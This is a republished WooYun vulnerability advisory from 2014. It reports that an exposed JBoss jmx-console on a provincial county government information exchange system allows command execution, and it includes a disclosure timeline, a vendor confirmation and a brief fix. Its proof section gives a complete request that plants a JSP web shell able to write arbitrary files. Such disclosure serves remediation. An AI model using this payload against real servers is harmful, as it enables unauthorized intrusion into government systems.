某省县区政务信息交换系统未授权访问导致命令执行

2015年7月3日14:14:19评论220 views字数 240阅读0分48秒阅读模式

摘要

2014-10-09：细节已通知厂商并且等待厂商处理中
2014-10-11：厂商已经确认，细节仅向厂商公开
2014-10-21：细节向核心白帽子及相关领域专家公开
2014-10-31：细节向普通白帽子公开
2014-11-10：细节向实习白帽子公开
2014-11-21：细节向公众公开

漏洞概要关注数(3) 关注此漏洞

缺陷编号： WooYun-2014-78486

漏洞标题：某省县区政务信息交换系统未授权访问导致命令执行

漏洞作者：路人甲

提交时间： 2014-10-09 11:42

公开时间： 2014-11-21 11:44

漏洞类型：命令执行

危害等级：高

自评Rank： 20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签：远程命令执行

0人收藏

漏洞详情

披露状态：

简要描述：

某省县区政务信息交换系统未授权访问导致命令执行

详细说明：

辽宁省县区政务信息交换系统

**.**.**.**/

jboss未授权访问导致命令执行

漏洞证明：

code 区域

**.**.**.**/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=upload5warn.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+**.**.**.**.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True

以上访问会生成一个这样的路径文件“/upload5warn/shell.jsp”

修复方案：

jboss限制访问

版权声明：转载请注明来源路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2014-10-11 16:56

厂商回复：

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞概要 关注数(3) 关注此漏洞

缺陷编号： WooYun-2014-78486

漏洞标题： 某省县区政务信息交换系统未授权访问导致命令执行

相关厂商： cncert国家互联网应急中心

漏洞作者： 路人甲

提交时间： 2014-10-09 11:42

公开时间： 2014-11-21 11:44

漏洞类型： 命令执行

危害等级： 高